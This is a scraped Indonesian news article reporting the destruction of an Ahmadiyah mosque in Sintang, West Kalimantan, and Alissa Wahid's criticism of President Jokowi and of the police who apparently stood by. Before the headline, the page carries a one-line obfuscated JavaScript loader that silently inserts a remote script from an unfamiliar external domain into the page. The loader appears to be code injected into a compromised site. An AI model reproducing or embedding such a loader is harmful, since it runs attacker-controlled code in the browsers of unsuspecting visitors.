(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Perusakan Tempat Ibadah Ahmadiyah di Sintang, Putri Gus Dur Sentil Jokowi Â


KANALKALIMANTAN.COM – Aksi perusakan tempat ibadah jemaah Ahmadiyah di Sintang, Kalimantan Barat mendapat reaksi keras dari putri Gus Dur, Alissa Wahid.

Diketahui Masjid Ahmadiyah di Kecamatan Tempunak, Sintang, Kalimantan Barat (Kalbar) dirusak oleh ratusan orang setelah shalat Jumat.

Massa yang datang dan menghancurkan masjid, menggunakan berbagai alat mulai dari kayu, bambu, hingga batu.

Masjid itu merupakan tempat ibadah milik Jemaah Ahmadiyah Indonesia (JAI). Bangunan masjid terletak di Desa Balai Harapan, Kecamatan Tempunak, Sintang, Kalimantan Barat.

 

 

Menanggapi hal tersebut, putri sulung Abdurrahman Wahid atau Gus Dur, Alissa Wahid mengaku geram dengan tindakan semena-mena segerombolan orang tersebut.

Baca juga: NIK Jokowi Ketahuan di Sertifikat Vaksin, PeduliLindungi Diminta Pakai Keamanan Berlapis

Dia menila, apapun alasannya, perusakan terhadap bangunan milik orang lain adalah tindakan melanggar hukum, teror, dan merusak hak konstitusional rakyat.

“Sekelompok orang mengatasnamakan umat Islam merusak bangunan masjid Ahmadiyah di Sintang. Apapun alasannya, ini tindakan melanggar hukum, perusakan bangunan milik orang, pelanggaran hak konstitusional warga, tindakan teror,” kata Alissa Wahid dalam keterangan tertulis, seperti dikutip dari Hops.id, Jumat (3/9/2021).

Kemudian salah satu tokoh GUSDUR-ian ini mempertanyakan mengapa tindakan brutal semacam ini dibiarkan di negara yang berasaskan kemajemukan.

“Masa praktik seperti ini dibiarkan, pak Jokowi?,” ungkapnya.

Baca juga: KPAI: Belajar Tatap Muka di Sekolah untuk Praktik dan Bahas Pelajaran Sulit

Lebih lanjut dia menyayangkan sejumlah aparat yang bertugas, khususnya kepolisian yang seakan membiarkan perusakan rumah ibadah itu terjadi.

Padahal, kata Alissa Wahid, sejumlah aparat kepolisian tampak berada di sekitar lokasi saat perusakan terjadi.

“Ada barisan polisi di sana pada saat perusakan ini terjadi. Saya tidak tahu mengapa perusakannya bisa dibiarkan,” imbuhnya. (Suara.com)

Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.